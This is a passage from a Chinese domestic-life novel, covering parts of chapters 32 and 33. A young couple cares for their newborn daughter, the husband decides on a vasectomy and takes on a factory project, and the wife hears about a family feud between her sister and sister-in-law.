路上,舒英问:“你跟嫂子怎么回事儿啊?怎么又搞成这样,都是一家人,你俩这天天呛声,妈夹在中间多难受啊。”以前王梅没生的时候,舒妈也跟着舒秀珍一块儿不喜欢王梅,可自从王梅生了宝宝后,舒妈现在对王梅的态度也就越来越好,不是捧着就是敬着,生怕王梅不给她抱孙子。 舒秀珍翻了个白眼,也抱怨道:“她就是嫌贝贝白天在她家碍她事儿了,我真搞不明白了,贝贝现在才不到两岁,一个小孩子能怎么着她?就让她这么烦,在这种场合也跟我搞这么一出!” 舒英没接腔,这种事情不能只听一个人说的,而且她带着一个月的孩子,也是真觉得难搞,冷了饿了难受了,都要哭,小孩的哭声极具穿透力,听的人脑仁都疼,不是所有人都跟李固言似的,能在他闺女哭得时候还一脸耐心地抱起来哄。 再说了,贝贝还不是王梅的孩子呢。 舒秀珍继续说着自己的不易:“我也不是不想把贝贝接回来,可问题是你说接回来谁带呢?你说我们家那个情况你也是知道的,我这年后刚找到的工作,还没干多久呢,也没赚到几个钱,我婆婆又不愿意帮忙带,说到这个我就恨得牙痒痒,他们严家一家子,真是每一个好东西,他爸他妈精得很,表面对你客客气气的,让你挑不出错儿来,实际上回去一合计,什么好处都没拿到。他那对哥嫂,也不是个省油的灯,实际上孩子都是我那个婆婆带,每天下了班回去就有热饭吃,结果还要对着我们诉苦。这一家子,就严磊一个蠢货!也不知道我结婚前怎么就眼瞎看上了他。” 舒英听到这还有点想笑,回道:“怎么看上的他?那还不是他那时候啥都听你的,你说一就是一,你强势惯了,就想找个听你话的,谁知道人就结婚前听你的,结婚后都听他妈的。” “行了,你也别打趣我了,我瞧着李固言不错,对你挺好,对孩子也好,你看从吃席到现在,小孩都在他怀里抱着,一有点哼唧的苗头就给抱出去哄着。”舒秀珍上下看了她一眼,“以前怎么没发现你看人的眼光这么准呢?” 舒英笑了笑,当时她相完亲,跟人才见了一面就跟家里人说要和他结婚,那时候可把他们下了一大跳,导致舒爸婚后好长一段时间都看李固言不顺眼,尤其他们俩没好多久就开始冷战,虽然瞒着家里人,但人的状态的掩盖不了的,所以舒家人那时候其实都不太喜欢他。 上完了厕所回到席上后,舒英又提前拉着舒妈道:“妈,你们待会儿结束后先别走,我有事儿想问你们。” 酒席结束,舒英让李固言先抱着谷雨回去,谷雨已经困得睡着了,这么一直抱着累胳膊,不如回去给放在床上。 李固言道:“没事,我就在这儿等你,咱们一块儿回去。” “我应该还没那么快,你把她抱回去放床上,让妈看一会儿,再来接我也行。” “我还是抱着吧,她睡醒看不见我肯定要哭的。” 舒英笑着看了他一下,又 觉得舒秀珍的话说得没错,她看人的眼光还是可以的。 舒英和舒妈留下来说话。 她问:“嫂子是怎么了?怎么今天瞧着这么不开心?” 舒妈叹了口气:“她就是不喜欢贝贝。” “贝贝怎么了?”舒英皱了皱眉,贝贝现在还这么小,长得又可爱,性子也乖巧,怎么会让人讨厌? 舒妈道:“那不是有一回贝贝吃饭呢,不小心把桌子上的杯子碰到了,被子里装的是热水,谁知道就正正好好洒宝宝的脚上了,烫的红了一片,你也知道你嫂子把宝宝看得跟眼珠子一样,当下就疯了,说什么都要把贝贝给送回去。” 舒英越听越心惊,听到最后忙问道:“这事儿我怎么不知道?” 舒妈看她一眼说:“哪能让你知道,你那时候就要临盆了,闹也不能闹到你面前啊,惊着了你怎么办?” “那后来呢?宝宝的脚没事吧?” “宝宝的脚没事,就当时烫红了,立马给抱到医院去了,医生给开了烫伤膏,涂了几天就没什么事儿了,贝贝那次也吓到了,王梅恶狠狠地瞪着她,吓得她连大哭都不敢发出声,当天晚上就起烧了,可把我给吓坏了,这要是俩孩子真出什么事儿,你姐跟王梅不得结仇啊,咱这个家也得散!”贝贝说是白天待在姥姥家,晚上回妈妈家,其实有时候舒秀珍要有什么事,贝贝能在姥姥家待好几天。 舒英也松一口气,俩孩子都没事就行,听了这件事,她心里也跟着揪得慌,撑着脑子说:“怪不得呢。” “是啊,王梅一心就想着让把贝贝给送回去,平时看宝宝看得更严实了,贝贝稍微一离近就要抱着孩子进屋,你说贝贝才多大点,她能是故意的吗?用得着跟防贼一样的防她吗?孩子被那一瞪,现在也怕她得紧,这搞得我现在连劝都不知道怎么劝。” 舒英听完也有些沉默,不知道该说什么,王梅跟她姐就是天生的冤家,哎!以后怎么样还看以后吧! 第32章 第 32 章 结扎 从饭店里出来, 李固言抱着谷雨,舒英搭着他的胳膊,两个人慢慢朝家走。 路上舒英将刚才舒妈说的话学给李固言听, 李固言听完也很惊诧, 没想到这段时间岳母家还发生了这么多事。 舒英走着走着踢了一颗石子,石子滚动着隐到路边草丛中看不见,她看着石子的轨迹叹了口气说:“我姐跟嫂子她俩我是劝不了了, 我之前还想着能有什么大不了的矛盾,怎么还一直在闹,现在看来,她俩之间的恩恩怨怨琐碎又细腻, 旁人也没办法插手。” 李固言劝道:“插手不了就不插手了,她们也是成年人了,是非道理自己都明白,咱们只管过好咱们的日子就行。” “我那还不是因为看我妈天天横在她们两个中间不好受吗?想着我要是能帮着劝解劝解也行, 妈现在天天带贝贝, 还要给宝宝洗尿布,又要做着给他们吃, 这么辛苦要还从中受她们的气, 那过的什么日子啊。”舒英说完又补充一句,“要说,这一开始也怪妈,要不是她一开始就偏心我姐, 也不会搞成这样,真是应了那句话,子女不和,多是老人无德。” 她做闺女的说妈的不好, 实在有些没顾忌,李固言前后看了看,见没什么人,才道:“以后这话你可别在爸妈面前说,他们听了要伤心生气了。” 舒英笑起来,“我又不傻,这不就在你面前说说吗,他们要是知道肯定都是你告的状。” 谷雨这时候醒了,睁着大眼睛在李固言怀里躺着,也不哭也不闹,乖巧的很。 李固言晃了晃她,才回说:“我怎么舍得告你的状。” 孩子都生了,还说这种话,也不嫌肉麻,舒英斜睨了他一眼,又轻哼一声,道:“小时候我妈就偏心我姐,也不是偏心我姐吧,反正就是不偏心我。家里就两间房,我哥和我弟一间,我姐在爸妈房里睡小床,轮到我就是在天天晚上在客厅里搭板子睡,就导致我天天都觉得自己像个浮萍,没有落脚之地,我到现在一想起这个事都觉得心口疼……” 还没说完呢,就见李固言停了脚步,站定看着她,眼神里满是心疼,嘴唇抿着,好不可怜地看着她。 “我们现在有自己的家了,你以后再也不用一个人睡客厅了。”他知道,她介意的不仅仅是睡客厅这件事,家里就那么大,总有人要睡客厅的,她只是介意她没有在这些小事里感受到爱,没有感受到公平。 舒英瞧他这副表情,要哭不哭的样子,心中涌出一股暖流,咬了下唇后唇角向上弯了弯,点点头“嗯”了一声。 谷雨哼唧一声,像是不舒服了,李固言连忙换了个姿势抱着,他看着小谷雨说:“咱们家也有点小,谷雨长大了不够住,看来我得更努力的工作了,赚了钱换大房子,让你们娘俩都住上大房子,我们小谷雨也能有自己的房间。” “好。”舒英笑了笑,眼神中都是对现在生活的满意。 李固言又提起那天生孩子的时候:“我第一次知道生孩子这么痛苦,对身体造成的伤害那么大。”以往身边人都是只催着生孩子的,只跟他说有了孩子是多么多么好,多么多么幸福,但从来没有人跟他说生孩子的过程是这样的痛苦,“痛苦”只是一个普通的形容身体感受的名词,所以知道“是痛苦的”和知道“具体如何痛苦”是不一样的,“知道痛苦”和“亲眼见到痛苦”也是不一样的。 他亲眼看了那么一遭,看着她身体被撕裂,看着她哭得痛不欲生,好像下一秒就要离开人世,才真正理解了“生孩子就是半只脚踏进了鬼门关”这句话,而在真正理解这句话后,他再也不想让舒英再经历一次了。 他道:“我们以后肯定只有谷雨一个孩子,就这一个孩子我就满足了,我们都不要再生了。” 舒英笑他傻,“孩子生完了,女人要上环的,就是防止你再生。” 李固言摇摇头:“你不上环,我去结扎。” 这下换舒英傻了,她停下脚步愣愣地看着他。 李固言道:“你生完后我不想你在怀孕就去问过医生上环的情况,那个也痛苦,而且对你的身体伤害太大了,还是我去结扎比较好,而且医生也说了,结扎其实对男人没什么伤害的,只是不能生了而已。”说到这他又促狭起来,低下头凑到舒英耳边,“反正不耽误……” 舒英瞬间红了脸,起手打了他一下:“说正经事儿呢,你又不正经起来了。” 李固言哎呦哎呦地唤着疼,见她不上钩后撇撇嘴不装了,“我说真的,我真的想去结扎,就算是上环也还有怀孕的风险呢,结扎一劳永逸。” “结扎又不是说结就结了,也是要符合条件的。而且结扎可真的不会再有孩子了,万一以后谷雨有了个意外,也后悔不了的。”舒英认真地看着他。 李固言立马“呸呸呸”起来,自己“呸”完又拉着她“呸”,“谷雨才不会出什么意外,这种话可不能乱说。”他现在看谷雨跟自己的眼珠子一样,可受不了有什么变故发生,可等舒英“呸”完后,他又正色道,“就算有意外发生,我们也不生了,我不后悔。” 舒英抬头看着他,他神情不似作伪,眼神出奇的冷静,他是经过深思熟虑过后才说出的这一番话,她抿了抿唇轻轻笑起来,点着头说:“好,结扎。” 旁人结扎可能医生不给做,但她就在二院上班,上了这么多年,这点关系网还是有的。 事情三言两语间定下来,李固言又笑道:“我都了解清楚了,结扎了也好用得很。” 他刚老实一会儿,舒英还感动得不行,现在又恢复了这副样子,她深呼一口气,伸手拧向他腰间软肉:“我的手也好用的很,劲儿够吗?” 李固言倒抽一口气,抱着谷雨都忍不住颠了颠,忙不迭讨饶:“够够!错了错了,老婆我错了。” “哼。” 舒英与他玩闹归玩闹,但心里不可说不感动,至少在这个时候他有考虑到上环会对她带来的伤害,有真正去了解结扎的详情,而不是随口一说,只当 哄她开心。 她笑了笑,挽着他的手臂,与他在这条回家路上慢慢走,谷雨在这晃悠中又慢慢睡去,张着小嘴巴,发出沉静的呼吸声。 …… 白天,谷雨哭闹个不停,哭声极具穿透力,听得人恨不得将两只耳朵挖掉,再也听不见声音才好。 李妈抱着她来回地走,边走边抱怨:“都怪固言,把小家伙都给宠坏了,把这个坏毛病给惯出来了,就得抱着不能停,一停她就不乐意。他倒是乐意抱着哄,可他这白天上班去了,哭也听不着。” 她哭得厉害,舒英也不能忽略,她放下手上的书上前接过谷雨说:“妈,我带着她出去转转,你在家看会儿电视歇一会儿吧。”说完抱着谷雨转身出了门。 李妈站在她身后锤了锤酸疼的腰背还有手臂,这小孩是真磨人,精力还好,都把你哭得没脾气了,她还能一直嚎,说句实话,她也是第一次见这么能哭的小孩,这要不是自己的孙女,那她真是烦都能烦死。 舒英抱着谷雨在家属院里转悠,也不管她听不听得懂,指着路过的东西就给她介绍:“这是小草,这是小花,这是大树,这是狗狗,会汪汪叫的噢。”说完还学了“汪汪”叫给她听,谷雨看着她的动作,咧着嘴笑。 她脸上的泪痕都还没干净呢,舒英伸手给她擦干净,笑道:“又哭又笑是小花猫。” “喵喵~” 谷雨笑得更厉害了,舒英瞧着心里软得不像样,在她小脸蛋上亲了亲。 这时来了一阵风,哗啦哗啦吹过,将舒英的头发吹得飞扬起来。 这时候家属院里的人上班的上班上学的上学,路上人不多,只几位闲着的老人们三三两两坐在树下聊天。 看见舒英抱着孩子出来,招手笑道:“抱孩子出来转转啊?” “是,小孩在家里一直哭,带她出来四处看看。”舒英把孩子抱过去给他们看。 “哎呦,这孩子长得真俊啊。” “人爸妈长得就不丑,孩子也不会丑的。” “咦!我瞧着长得像你,像孩子爸爸的地方少。” 舒英也笑起来:“是吗?我这看不出来。” “是啊,你瞧这眼睛眉毛,跟你一样一样的,这孩子长大了肯定是个美人坯子。” 舒英跟几人闲聊了几句后,就抱着谷雨继续走,正好她想减减肥,抱着她就当负重了。 她抱着谷雨在家属区转了两三圈,等谷雨在她怀里睡熟之后才抱着回去。 夜里,舒英又涨起了奶,整个乳/房都硬的跟石头一样,涨的人生疼,舒英难受的一张脸都皱起来,她伸手推了推旁边的李固言,李固言睁开眼后下意识就把灯打开问:“怎么了?” “涨奶了,你给我吸一下。” 李固言赶忙坐起来,轻车熟路地帮她又吸又揉,他揉的手法还是住院那几天跟护士学的,学会之后可是骄傲了好几天,天天在她面前说:“是谁家丈夫这么厉害,噢!原来是舒英家的啊。”把她逗得直乐。 等胸部疏通开后,舒英才算是舒服点,摇着头感慨说:“女人生孩子真是受苦,从怀孕就开始受苦,生完后,苦没有消失,反而又增加了新的苦。” 李固言躺在她旁边看着她,心中觉得愧疚,但又不知道该说些什么,只能拉着她的手轻轻吻了一下。 折腾了这么一通,舒英也是累了,闭上眼没多久就睡熟过去,李固言心里藏着事儿,反而没那么快睡。 “哇呜!” 谷雨醒了。 好了,这下他想睡也不能睡了。 李固言赶紧起来把谷雨抱到怀里哄着,舒英刚睡着,可别再把她吵醒了。 他低着头看着谷雨的小脸,轻声问:“是不是饿了?你饿的可真不是时候。”可不是吗,刚刚舒英涨奶涨的那么难受,小家伙不醒,这下奶水都没有了,她反而醒了。 李固言伸手捏了捏她的小鼻头,过去将桌子上的小台灯打开,给她泡奶粉。 台灯开得最小档,灯光暖黄昏暗,又被李固言宽大的身躯挡住,只露了点点余光出来。 舒英躺在床上看着那边喂奶的父女二人,脸上漾出一抹笑意,她本来就没怎么睡熟,刚才谷雨一哭喊她就醒了。 一晚上起了几次夜,李固言早上难得的起晚了,连早饭都来不及吃,拿着包子馒头就往外跑。 到办公室的时候,大家都已经开始干活了,李固言坐在自己位置上,左手拿着包子吃,右手还在画着图。 陈主任背着手走进来,“都忙着呢?” “主任。” 李固言听见声音把包子放下,又端起杯子喝了两口水。 陈主任笑着看着他说:“李工,跟我出来一下。”说完就先出去了。 李固言疑惑地挑了挑眉,又朝办公室的众人看过去。 大家摆摆手,也都不知道陈主任所为何事。 李固言跟上去,问:“陈主任,找我有什么事吗?” 陈主任没回答,先是笑着上下扫了他几眼说:“今年身份升级了,做爸爸了。” 李固言笑了笑,“是。” 陈主任跟着唠了几句家常后,才说正事:“厂里决定报几个新项目,我一听到这个消息就立马来找你了,想问问你的想法,怎么样,有想法吗?” 李固言也没想到会是这种事,时代在发展在进步,厂子想要跟上时代的步伐,就不能固步自封,一直拘泥于过往的成绩和业务,要一直开发新产品才行。 而新项目一旦成功,对于项目负责人来说无疑是很大的加成,而陈主任这话就是直接把“项目负责人”这个位置送到了他面前,只要他点头,这个名头就是他的。 若是以前,他一定毫不犹豫,但现在……他想到才一丁点大的谷雨,她现在太小了,还离不开人。 陈主任看出他的犹豫,虽然他不明白这么大的机会放在眼前,他还有什么好犹豫的,这要是别人,在他话音刚落的时候就该上赶着了,但他实在是个人才,之前那件升职的事也是对不起他,所以他还是想再给他一个机会,道:“你先别急着回答我,你先回去考虑考虑,想想这件事里的好,等想好了,明天再告诉我你的答复。” 李固言抬眼看着他,郑重地点了点头,表示自己会用心考虑的。 陈主任抿着唇笑了笑,拍了拍他的肩,又说起家庭的话题:“当了爸爸了,家里就多了一张嘴,工作得更加努力才行。” 下了班后,回到家,李妈已经把饭做好了,还切了香瓜放在盘子里。 舒英正拿着一块吃,见他回来,连忙将盘子递给他:“尝尝,妈早上去菜市场买的,新下来的瓜,甜得很。” 李固言拿了一块放进嘴里,甜滋滋的。 吃完了香瓜,他又要去看闺女,舒英赶紧拉住他道:“才睡着呢,你一进去该把她吵醒了。” 没看成闺女,李固言也闲不下来,一会儿不是干这就是干那。 舒英瞧着他的样子,看出他心里藏了事,问:“你有什么事瞒着我呢?快说。” 李固言笑了一下:“就知道什么事都逃不过你的法眼。” 舒英看着他等着他接着往下说。 李固言将陈主任的话说了,舒英忙说:“那这是好事啊,你怎么不赶紧同意,还要回来想一想,这还有什么好想的。” 李固言道:“可是我要是答应了,真的组了人做项目,那我就真的忙起来了,到那时候谷雨都压在你身上,你哪里来的时间,你现在也要学习靠看书,要准备考试……” 等他说完,舒英“噗嗤”一声笑出来,手下叠着谷雨的尿布说:“你就是杞人忧天,这还没发生呢,你就开始想自己忙起来顾不上我们怎么办的事了,一个新项目从头到尾要那么长 时间,又不是突然一下就忙起来了。而且说忙,你什么时候又闲下来过?天天不是加班就是加班,再忙,还能忙成什么样?饭不吃了,觉不睡了?还有,你别老担心我的考试,我的考试我一直没松懈呢,白天你上班的时候,都是妈帮我看着谷雨,我都在看书,等十月份,我的考试肯定能通过,成功拿到证书。” 这时候,房间里又传出哭声来,李固言连定都没打,连忙起身进去将孩子抱起来,舒英瞧着他这一连串的动作,真是打死她都不会相信李固言会因为工作忙,而忙到连看小孩的时间都没有,他自己第一个就舍不得。 李固言抱着谷雨出来,手在她背部轻轻拍着,舒英见状说:“待会儿妈回来看见你这样又要念叨你了。” 李妈天天说他惯孩子,净给孩子养成一些不好的习惯,搞得孩子越来越难带。 李固言闻言手一顿,低头边见闺女小嘴一瘪,委委屈屈地像是立马就又要哭出来,瞬间他是什么都顾不得了,脑子里就剩下闺女的委屈了,他手又拍起来,还要边拍边晃,嘴里还要“嗯嗯”的哄着。 舒英笑道:“你自己照照镜子瞧瞧你这副甘之如饴的样子,你怎么可能会觉得带孩子辛苦,我看你是巴不得天天把孩子拴在腰带上。所以你就放心的去组项目去吧,到点儿了,根本不用我催,你自己就回来带娃了。” 李固言也不好意思地笑了笑,经这么一出,他也发现他真是高估自己了。 李妈这时候摘了菜进来,隔壁吴嫂子在院子里种了豆角,让她去摘,她拿着一把青翠的豆角进来,边笑边说:“哎呀,这豆角真新鲜,等晚上给你们煎着吃。” 刚从院子里进到房间里,就看见她那不听话的儿子又在惯小孩,气得她恨不得用豆角往他身上抽,“能不能不拍?!能不能不晃?!”她也不是恶奶奶,孩子哭了闹了,拍一拍哄一哄没事,但也不能没事就惯着,给惯的不拍着哄着就哭啊,儿子给惯出了一身的毛病,挥一挥衣袖,上班去了,儿媳妇要学习考试,带孩子哄孩子都是她的,累的还是她! 本来多乖巧多好带的一个孩子,都是这小李固言! 李妈忍不住横了他一眼,人家家男人都不耐烦抱孩子哄孩子,也不知道她家这个怎么就这么喜欢,问题是这喜欢还搞得她高兴也不是,不高兴也不是。 舒英瞧着这母子俩笑了笑,自从他俩因为带小孩产生了矛盾后,她和婆婆之间的关系可是越来越好了,她从来不干预李妈带孩子,废话,老人愿意带已经是帮了忙了,她哪还敢挑刺,还不事事都依着。 好在李妈之前虽然不喜欢她了点,但也明事理,有什么事儿也不会在这时候找她麻烦。李妈还跟她说自己年轻的时候,李固言奶奶没什么文化,但特别会磋磨人,她那时候生李固萍时坐月子恨死了她,恨不得跟她老死不相往来,后来她去世,她都没去送,就因为这事,她跟李爸还吵了一架。 也正是因为李妈自己月子里受过苦,所以在舒英坐月子的时候格外友善,有时候舒英自己都觉得好笑,明明她不喜欢自己,但她就是能忍着不喜给她煲汤做饭,给孩子洗尿布,做得比她自己亲妈还多还体贴。 人心都是肉长的,李妈虽然那时候还是看不上自己,但那些好她也都是真的受了,舒英看在眼里,也不想再纠结过去那些子东西,也以诚待她,两个人相处的越多,了解的越深,反而将隔阂消去大半,关系更加亲切。 李固言从舒英这里得了开解,下午回厂里上班的时候就立马去找了陈主任,说自己愿意组新项目。 陈主任笑起来:“这样就对了!男人,怎么能不拼一下事业?行,你回去好好想想这个新项目的具体方案,再考虑一下组哪些人,写好了交给我,我报到上面去。” 第33章 第 33 章 午后 李固言的项目交上去后, 没多久厂子里就批了,目前正在组建人手。 隔壁的吴家。 吴嫂子咬了一口馒头,又喝了一口粥, 对着对面的男人说:“老吴, 我觉得李工这回的项目,咱得想办法加入,李工这人多能耐啊, 他想做的东西肯定能成功的,咱早点进去,等到最后论功行赏,咱的功劳也大些呀。” 老吴还有些犹豫, “这,能行吗?”李工的本事大家都是知道的,他们自己私下里都说,李工一个能天天坐办公室的人, 有事没事就喜欢往车间跑, 对他们这些工人也没一点轻视,机床要遇到什么事只管找他, 他一般都不会拒绝, 能帮的都帮,所以不知道上面如何,他们车间里的工人们都是喜欢他的,他的项目组, 肯定都一群人抢着进。 吴嫂子白他一眼:“咋不行?咱们近水楼台先得月,行不行的,不试试怎么知道?你待会儿吃完饭别磨蹭,咱拎两罐罐头去隔壁问问, 咱是真想进去帮忙,又不是想进去混日子,他选谁不是选?” “说的也是。”老吴一仰头将碗里剩下的稀饭都喝完,起身就去厨房橱柜里拿了两罐崭新的罐头出来。 他们来的时候,李家也正吃饭呢。 舒英过去开门,没看见手上的罐头,还笑道:“吴哥,嫂子,来,进来坐进来坐,吃了吗?我们正吃着呢,要不要一块儿坐下吃点?” 吴嫂子也笑:“哎呀,那真是不巧了,我们刚吃过。”说着将手里的罐头递给她。 “这是什么?”舒英拿起来一看,忙要推拒,“这来串门怎么还拎了两瓶这个?” “家里买的多,寻思着拿两瓶过来给你们吃,正好阿姨不也在吗,你们一家子一块儿吃,就两瓶,不多,两口就吃没了。” 舒英笑着将人领进屋,“行,我也不跟你客气了。” 进了屋后,李固言正抱着孩子哄呢,看见他们,也笑着招呼了两声:“吴哥,嫂子,吃了吗?” “吃了吃了。” 舒英瞧着他俩今天怪怪的,像是有什么事情要说,但又碍于情面没好意思张口,舒英便主动问道:“嫂子,你们现在来是不是有什么事啊?” “没,没。”吴嫂子下意识就拒绝,拒绝完后又一拍大腿开口道,“是,是有事儿,这不李工的新项目要开始了吗?这要做新项目就需要人手,我们想着能不能把我们俩加进去,俩不行,加一个也成。” 舒英见是工作上的事,跟自己没关系,也就没吭声,从李固言怀里把谷雨抱过来,笑着道:“你们聊,我带谷雨出去转转。” 谷雨从爸爸怀里到了妈妈怀里,高兴得挥着小手,咧着嘴看着舒英直笑,还要兴奋地踹踹小脚。 她这副样子,看得李固言吃味,摸了摸她的小拳头:“就这么不喜欢爸爸抱啊?” 李妈也将碗筷收拾起来,先堆到池子里,等待会儿再回来洗,也跟着儿媳出门散散步。 现在已经进了夏天了,白天天气热,热的人不想出门,谷雨是个闷不得的性子,一天到晚的光想谁抱着她出去转悠转悠,只奈何白天实在没人愿意出来。 这晚上,天黑下来,凉快许多,还时不时地吹过来阵风,极为凉爽畅快,舒英摸了摸谷雨的后背,没出汗。 李妈看着她笑:“这孩子还是跟妈妈亲,爸爸再疼都没用。” 舒英也不反驳,说:“十月怀胎生的呢。”她颠了颠怀里的谷雨,逗得她咯咯笑。 夜里小动物们也都出来活动,不知道哪里来的青蛙“咕咕咕”地叫个不停,混合着树上的蝉鸣鸟叫,织成了一道美妙安逸的交响乐,使得这个夏夜更加惬意舒适。 两个人抱着谷雨走了一圈,谷雨终于是看累了,趴在舒英肩头进入梦乡。 等回到家的时候,吴家夫妻俩已经回去了,李固言正在厨房里洗碗。 舒英把谷雨小心放到里间的床上,看着她白嫩嫩的小脸,忍不住轻轻亲了一下,这才到厨房问:“怎么样?你答应了吗?” 李固言点点头,“我说可以进一个,他们俩自己商量商量回头谁进来。 本来我是真没考虑过他们,毕竟新项目谁也不知道最后成果怎么样,可能有,但也可能没有,但不管最后结果如何,前期的付出都是必不可少的。我原先是想找几个还没成家的年轻人,身强力壮的,多干一点也能接受。但吴哥他们想参与进来,我当然高兴,只是他们到底还有家庭,也不能不管自己的生活,都扣在我那里给我干活,所以我就说来一个就够了。” 舒英点点头:“是这个理。那你把最坏的结果跟他们说了吗?”谁想干什么都不是奔着坏结果去的,他们来找他加入,肯定也是想着跟着他最后能有些好处,这要是不把结果说清楚,别最后邻居都做不下去,反结了仇。 “说了,我跟他们说,这个项目我并不能保证一定出成果,也就是说就算他们跟着我一块儿做,也可能就算白辛苦一场,让他们考虑清楚后再来找我说加不加入,谁加入。” 舒英笑起来,拿了干毛巾将他手上的水擦干净,一根一根的,擦得很是仔细,她抬起头看向他,夸道:“真厉害,我相信你肯定能把这个项目做成的。” 李固言看着她亮晶晶的双眼,也笑了笑,下意识就低下头去寻她的唇,还没碰到就听门口一道声响,两人具一惊,连忙回头看,正看见李妈有些慌乱而匆忙出去的背影。 被亲妈撞见,两个人这下都有些尴尬,连对视都有些羞涩,舒英将干毛巾往他手上一扔,逃也似地出去了:“谷雨别醒了,我去瞧瞧。” 李固言看着她的背影,也有些懊恼,他将厨房收拾干净,又将干毛巾挂在墙上,咳了一声,清了清嗓子,才故作无事发生般出去。 李妈在院子里晾衣服,湿衣服用力一甩,上面的水都被甩到水泥地上,再用衣架撑开挂到晾衣绳上,她嘴里也嘀咕着:“这俩孩子,亲热也不知道避着点人。” 她又回头看一眼,见厨房关了灯,才松了一口气,将盆里剩下的衣服都挂起来。 也怪这个家小,就这么间房,多个人就有点转悠不开。 房间里谷雨还没醒,翻个身睡得正香,舒英充满爱意的眼神看着她,觉得怎么看都看不够,她睫毛又浓又长,脸上的肉嘟着,小翘鼻一动一动的,瞧的人心里软得一塌糊涂,想让人把她狠狠地抱在怀里。 李固言进来看到母女俩这一幕,蹑手蹑脚的,先是拿了桌子上的相机将这一幕拍下来,而后才上前从后面将舒英抱住。 头搭在她颈窝处,鼻息间都是她身上的香味,他像小狗一样深深吸了一口气,又在上面亲了下。 舒英被他弄得喉间发痒,就要笑出声,又想起谷雨还在睡觉,只能硬生生忍下,伸手将他推开:“别闹。” “好久没有了……” 舒英一听这话,态度又软下来,从知道怀孕开始,他怕出事就一直忍着,哪怕说怀孕后期可以,他担心安全也没敢做,生完孩子后她身体还没恢复,他更不敢乱来,他自己结扎都做完了,两个人还是每天就亲一亲抱一抱,最多也就是用手纾解一下。 说实话,她也有点想了。 她声音又柔又软:“等晚上,现在妈还没睡呢。” 李固言抱着她又亲了一下,轻笑着说:“那我先吃点开胃小菜……”话尾音隐在两人唇齿之间,含含糊糊的听不清。 到了晚上,李妈一般是不会进他们俩的房间的,有什么事也都只是在外面敲敲门。 李固言看着书,就等着外面关灯,外面关了灯后,又听着李妈的呼噜声什么时候响,反正是一点心思没往书上放。 舒英瞧着他心不在焉的样子就觉得好笑。 等熟悉的呼噜声在房间里响起来后,李固言赶忙放下手里的书,又伸手将房间里的灯拉灭,就要去脱舒英的衣服,这急不可耐的样子,实有几分饿狠了要讨奶喝的孩子样。 “别、别在床上。”这床就是木结构的床,一动起来咯吱咯吱的。 两个人下来,李固言抱着她倚着墙动作…… 一番事了后,两个人都有些餍足,又有些疲倦,躺在床上有一搭没一搭的聊天。 舒英趴在他胸膛处,手指顺着他腹肌的沟壑向下,双眸水润润的,随着他胸膛的起伏一翕一动。 李固言用手指绕着她长长的头发,爱不够似的用下巴蹭着她头顶。 这时谷雨醒了过来,哭喊起来,舒英连忙翻身将她抱在怀里,轻轻拍着哄着。 李固言追上来,长臂一伸,将娘俩都搂在怀中,像环住了自己的整个世界般满足。 一家三口就这样沉沉睡去,浓浓的爱意在三人之间传递。 …… 李妈瞧着时间,问:“小英,中午吃什么?现在做饭,等固言回来刚好能吃上。” 舒英合上书,将笔帽盖上,用力挤了挤眼说:“妈,你看着做吧,我这一下子还真想不出来想吃什么。” “隔壁小吴给的还有豆角呢,早上我买了番茄,我做个番茄豆角焖面了,你还想吃别的不?” 舒英笑了笑,看着她说:“面条就行了,妈这么一说我也有点想吃面条。” 李妈扇子扇了扇,笑盈盈的:“行,那我现在就擀面条,你看着点谷雨。”说完将电视关上出去。 舒英看了一上午的书,也有点累了,将书往前一推,起身去逗床上躺着的谷雨。 床上四周都围了围栏,生怕谷雨一个不小心翻到床下去。 小谷雨一上午没看到妈妈,这下突然看见妈妈的脸,兴奋地都不知道怎么好了,高兴得直乐。 舒英点了点她的小鼻头,宠溺地笑了笑,弯腰将她抱起来坐在腿上,伸手摸了摸她后背,有点点湿,她将她衣服脱掉,又拍了点痱子粉上去。 小谷雨不知道妈妈在干嘛,但趴在她大腿上,不哭也不闹,小脚瞧着上下晃了晃。 舒英拍好痱子粉后,又将她抱起来把衣服穿好,笑着与她亲昵:“谷雨真乖,妈妈的小宝贝~” 也不知道谷雨听没听懂她说的话,咧着嘴在她怀里扑腾着,惹得舒英又是一阵喜欢。 天气热,她也没让风扇对着谷雨吹,而是拿了把蒲扇,轻柔地给她扇风,小家伙脑门上都出了汗。 李固言现在忙,吃了午饭后,连午觉都没时间睡,抱着谷雨玩了一会儿,就立马回厂子去了。 舒英等他走后,搂着谷雨睡了个午觉,一场绵长的觉睡醒,房间里安安静静,太阳从窗外洒进来,薄薄的窗帘时不时被风吹动,上下翻飞着,阳光斑驳地落在桌面上,让人不由得生出一股今夕何年的感觉来。 舒英坐起来,身上热出了一身汗,她揉了揉太阳穴,嗓子眼也干渴得不行,她扭身端起床头柜上的杯子,喝了一大口,杯子里的水还是睡觉前倒的了,已经放凉,现在喝刚刚好。 喝完了水,她又将杯子放好,回过头一看,小家伙不知道什么时候醒了,也没出声,正乖乖巧巧躺在里面努着嘴吐泡泡呢。 舒英瞧到她这样子,没忍住牵起一个笑来。 外面李妈也才刚睡醒,风扇扭着头地吹,午后的太阳从门边晒进来,晒到她床边,李妈坐起来,单人床咯吱一声。 舒英听见声音后知道她醒了,她也穿上鞋下床,看了眼外面的阳光,晒得让人觉得有些眩晕。 “妈,冰箱里是不是还有半个西瓜呢?” 李妈坐在床边抬头看着她说:“嗯,昨晚上剩的,你现在吃吗?我给你切去。” 舒英:“妈你坐着吧,我去切。这睡一觉睡出来一脑门子汗,想吃点西瓜解解热。” 舒英将西瓜从冰箱里端出来,西瓜一直在冰箱里冰着,拿在手里也凉凉的,她洗了菜刀切了几牙后又将剩下的放回冰箱,端着切好的几牙出来。 李妈也拿着吃,冰冰凉凉的从嘴巴里滑到胃中,感觉全身都舒服了许多。 舒英吃完了西瓜问:“妈,你下午有事儿吗?” “没事儿啊。”李妈看着她,“咋了,你下午有啥事儿吗?” 舒英笑了笑:“妈,你下午要是没事儿的话,陪我去逛个街呗, 我想买两身新衣服。“她看了眼李妈身上的衣服,主要还是想给她买两身,这段时间要没有她给她带孩子,她哪里有时间看书做题。 李妈不疑有他,说:“行啊,去哪买?” “五一广场旁边不是有两条衣服街嘛,就去那儿吧,离这儿也不远,现在天太热了,咱等四五点的时候再去,正好还能在那边吃个晚饭,听说现在那边晚上热闹得很,买各种吃的都有。” 李妈问:“那咱出去吃了,固言知道吗?” “我中午的时候跟他说了,让他在食堂买着吃。” 李妈听到这话有点不开心,但也没说什么,点了点头说:“行。” 